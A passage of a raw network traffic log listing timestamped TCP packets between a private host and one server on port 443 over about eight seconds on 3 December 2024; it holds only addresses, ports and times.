Dec 3, 2024 17:42:34.395071983 CET	49981	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.395078897 CET	443	49981	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.503633976 CET	443	49979	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.507015944 CET	443	49979	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.507066011 CET	443	49979	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.507072926 CET	49979	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.507122993 CET	49979	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.507249117 CET	49979	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.507280111 CET	443	49979	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.507291079 CET	49979	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.507297993 CET	443	49979	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.518318892 CET	49984	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.518371105 CET	443	49984	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.518445969 CET	49984	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.518630028 CET	49984	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.518641949 CET	443	49984	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.572031021 CET	443	49982	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.572673082 CET	49982	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.572699070 CET	443	49982	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.573272943 CET	49982	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.573280096 CET	443	49982	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.829601049 CET	443	49980	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.832547903 CET	443	49980	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.832655907 CET	49980	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.832700014 CET	49980	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.832721949 CET	443	49980	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.832756996 CET	49980	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.832762957 CET	443	49980	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.835983038 CET	49985	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.836004972 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.836086988 CET	49985	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.836240053 CET	49985	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.836251974 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.848587036 CET	443	49981	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.851799011 CET	443	49981	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.851867914 CET	443	49981	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.851891041 CET	49981	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.851958990 CET	49981	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.852056980 CET	49981	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.852082014 CET	443	49981	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.852099895 CET	49981	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.852111101 CET	443	49981	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.855268002 CET	49986	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.855304956 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.855427027 CET	49986	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.855575085 CET	49986	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.855592966 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.937119961 CET	443	49983	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.937933922 CET	49983	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.937969923 CET	443	49983	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:34.938467979 CET	49983	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:34.938479900 CET	443	49983	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.066659927 CET	443	49982	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.066742897 CET	443	49982	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.066801071 CET	49982	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.067014933 CET	49982	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.067038059 CET	443	49982	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.067054987 CET	49982	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.067061901 CET	443	49982	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.070401907 CET	49987	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.070425987 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.070492983 CET	49987	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.070673943 CET	49987	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.070683956 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.403760910 CET	443	49983	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.407071114 CET	443	49983	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.407120943 CET	443	49983	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.407134056 CET	49983	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.407175064 CET	49983	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.407239914 CET	49983	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.407258987 CET	443	49983	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.407275915 CET	49983	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.407282114 CET	443	49983	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.410933018 CET	49988	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.410973072 CET	443	49988	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:35.411046028 CET	49988	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.411209106 CET	49988	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:35.411227942 CET	443	49988	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.068600893 CET	443	49984	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.069309950 CET	49984	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.069346905 CET	443	49984	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.069865942 CET	49984	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.069871902 CET	443	49984	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.506217957 CET	443	49984	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.508505106 CET	443	49984	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.508569002 CET	49984	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.508651018 CET	49984	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.508666039 CET	443	49984	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.508685112 CET	49984	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.508691072 CET	443	49984	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.512562037 CET	49989	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.512587070 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.512658119 CET	49989	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.512911081 CET	49989	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.512923002 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.642070055 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.642673969 CET	49985	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.642683029 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.643300056 CET	49985	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.643305063 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.732997894 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.762216091 CET	49986	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.762238979 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.762665987 CET	49986	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.762670994 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.859647989 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.865185022 CET	49987	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.865206003 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:36.865691900 CET	49987	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:36.865698099 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.086863041 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.086885929 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.087060928 CET	49985	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.087070942 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.087285995 CET	49985	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.087296009 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.087306023 CET	49985	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.087436914 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.087462902 CET	443	49985	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.087517023 CET	49985	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.090272903 CET	49990	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.090342999 CET	443	49990	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.090420008 CET	49990	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.090570927 CET	49990	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.090593100 CET	443	49990	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.135627985 CET	443	49988	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.136094093 CET	49988	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.136126041 CET	443	49988	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.136543036 CET	49988	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.136548996 CET	443	49988	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.187474966 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.187500000 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.187669992 CET	49986	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.187690020 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.187829971 CET	49986	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.187844992 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.187855005 CET	49986	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.188028097 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.188071012 CET	443	49986	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.188113928 CET	49986	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.190474033 CET	49991	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.190501928 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.190597057 CET	49991	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.190741062 CET	49991	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.190753937 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.311924934 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.315834999 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.315901041 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.316035032 CET	49987	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.316035986 CET	49987	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.316099882 CET	49987	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.316114902 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.316128969 CET	49987	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.316135883 CET	443	49987	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.319331884 CET	49992	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.319374084 CET	443	49992	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.319453001 CET	49992	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.319677114 CET	49992	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.319688082 CET	443	49992	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.571324110 CET	443	49988	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.575762987 CET	443	49988	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.575809956 CET	49988	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.576045990 CET	49988	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.576062918 CET	443	49988	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.576085091 CET	49988	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.576091051 CET	443	49988	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.582480907 CET	49993	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.582523108 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:37.582576036 CET	49993	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.582928896 CET	49993	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:37.582938910 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.318360090 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.318964958 CET	49989	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.318989992 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.319423914 CET	49989	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.319428921 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.762887955 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.767575026 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.767631054 CET	49989	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.767636061 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.767991066 CET	49989	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.768161058 CET	49989	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.768179893 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.768203020 CET	49989	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.768208027 CET	443	49989	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.771780014 CET	49994	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.771819115 CET	443	49994	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.771887064 CET	49994	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.772090912 CET	49994	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.772102118 CET	443	49994	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.882736921 CET	443	49990	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.883259058 CET	49990	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.883289099 CET	443	49990	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.883842945 CET	49990	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.883851051 CET	443	49990	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.973845005 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.980873108 CET	49991	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.980894089 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:38.981426954 CET	49991	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:38.981432915 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.117647886 CET	443	49992	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.118350983 CET	49992	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.118360996 CET	443	49992	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.118875027 CET	49992	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.118880033 CET	443	49992	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.306787014 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.307430029 CET	49993	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.307461977 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.307939053 CET	49993	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.307945013 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.330828905 CET	443	49990	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.331665039 CET	443	49990	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.331800938 CET	49990	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.332499027 CET	49990	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.332529068 CET	443	49990	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.332544088 CET	49990	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.332550049 CET	443	49990	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.342092991 CET	49995	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.342138052 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.342232943 CET	49995	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.343565941 CET	49995	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.343578100 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.420949936 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.424282074 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.424348116 CET	49991	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.424355984 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.424412012 CET	49991	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.426095009 CET	49991	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.426115036 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.426129103 CET	49991	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.426136017 CET	443	49991	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.431994915 CET	49996	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.432056904 CET	443	49996	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.432149887 CET	49996	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.432425022 CET	49996	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.432440996 CET	443	49996	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.565588951 CET	443	49992	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.568797112 CET	443	49992	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.568886995 CET	49992	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.568954945 CET	49992	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.568974018 CET	443	49992	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.568993092 CET	49992	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.568999052 CET	443	49992	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.572146893 CET	49997	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.572182894 CET	443	49997	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.572303057 CET	49997	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.572444916 CET	49997	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.572454929 CET	443	49997	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.743230104 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.743417025 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.743470907 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.743490934 CET	49993	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.743532896 CET	49993	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.743746996 CET	49993	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.743776083 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.743787050 CET	49993	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.743793011 CET	443	49993	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.747642994 CET	49998	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.747695923 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:39.747806072 CET	49998	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.748049021 CET	49998	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:39.748064041 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:40.573786020 CET	443	49994	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:40.574364901 CET	49994	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:40.574388981 CET	443	49994	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:40.574922085 CET	49994	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:40.574927092 CET	443	49994	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.025885105 CET	443	49994	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.027885914 CET	443	49994	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.028095007 CET	49994	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.028095007 CET	49994	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.028095007 CET	49994	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.031218052 CET	49999	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.031260014 CET	443	49999	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.031332016 CET	49999	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.031502008 CET	49999	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.031511068 CET	443	49999	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.230848074 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.231595993 CET	49995	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.231618881 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.232180119 CET	49995	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.232194901 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.288815022 CET	443	49996	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.289397955 CET	49996	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.289431095 CET	443	49996	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.289902925 CET	49996	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.289907932 CET	443	49996	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.296072960 CET	443	49997	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.296451092 CET	49997	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.296478033 CET	443	49997	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.297015905 CET	49997	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.297024965 CET	443	49997	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.333116055 CET	49994	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.333151102 CET	443	49994	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.537293911 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.537967920 CET	49998	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.538023949 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.538499117 CET	49998	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.538505077 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.691817999 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.694807053 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.694864988 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.694966078 CET	49995	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.694999933 CET	49995	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.695106030 CET	49995	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.695125103 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.695135117 CET	49995	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.695141077 CET	443	49995	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.698478937 CET	50000	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.698503971 CET	443	50000	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.698611021 CET	50000	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.698771000 CET	50000	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.698784113 CET	443	50000	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.738548994 CET	443	49997	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.742289066 CET	443	49997	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.742432117 CET	49997	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.742465973 CET	49997	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.742465973 CET	49997	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.742480040 CET	443	49997	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.742486954 CET	443	49997	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.745362997 CET	50001	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.745389938 CET	443	50001	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.745476961 CET	50001	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.745758057 CET	50001	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.745771885 CET	443	50001	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.982424021 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.984997034 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.985054970 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.985102892 CET	49998	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.985156059 CET	49998	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.985224962 CET	49998	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.985254049 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.985268116 CET	49998	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.985274076 CET	443	49998	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.988454103 CET	50002	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.988503933 CET	443	50002	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:41.988599062 CET	50002	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.988779068 CET	50002	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:41.988790035 CET	443	50002	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:42.255080938 CET	443	49996	13.107.246.63	192.168.2.7
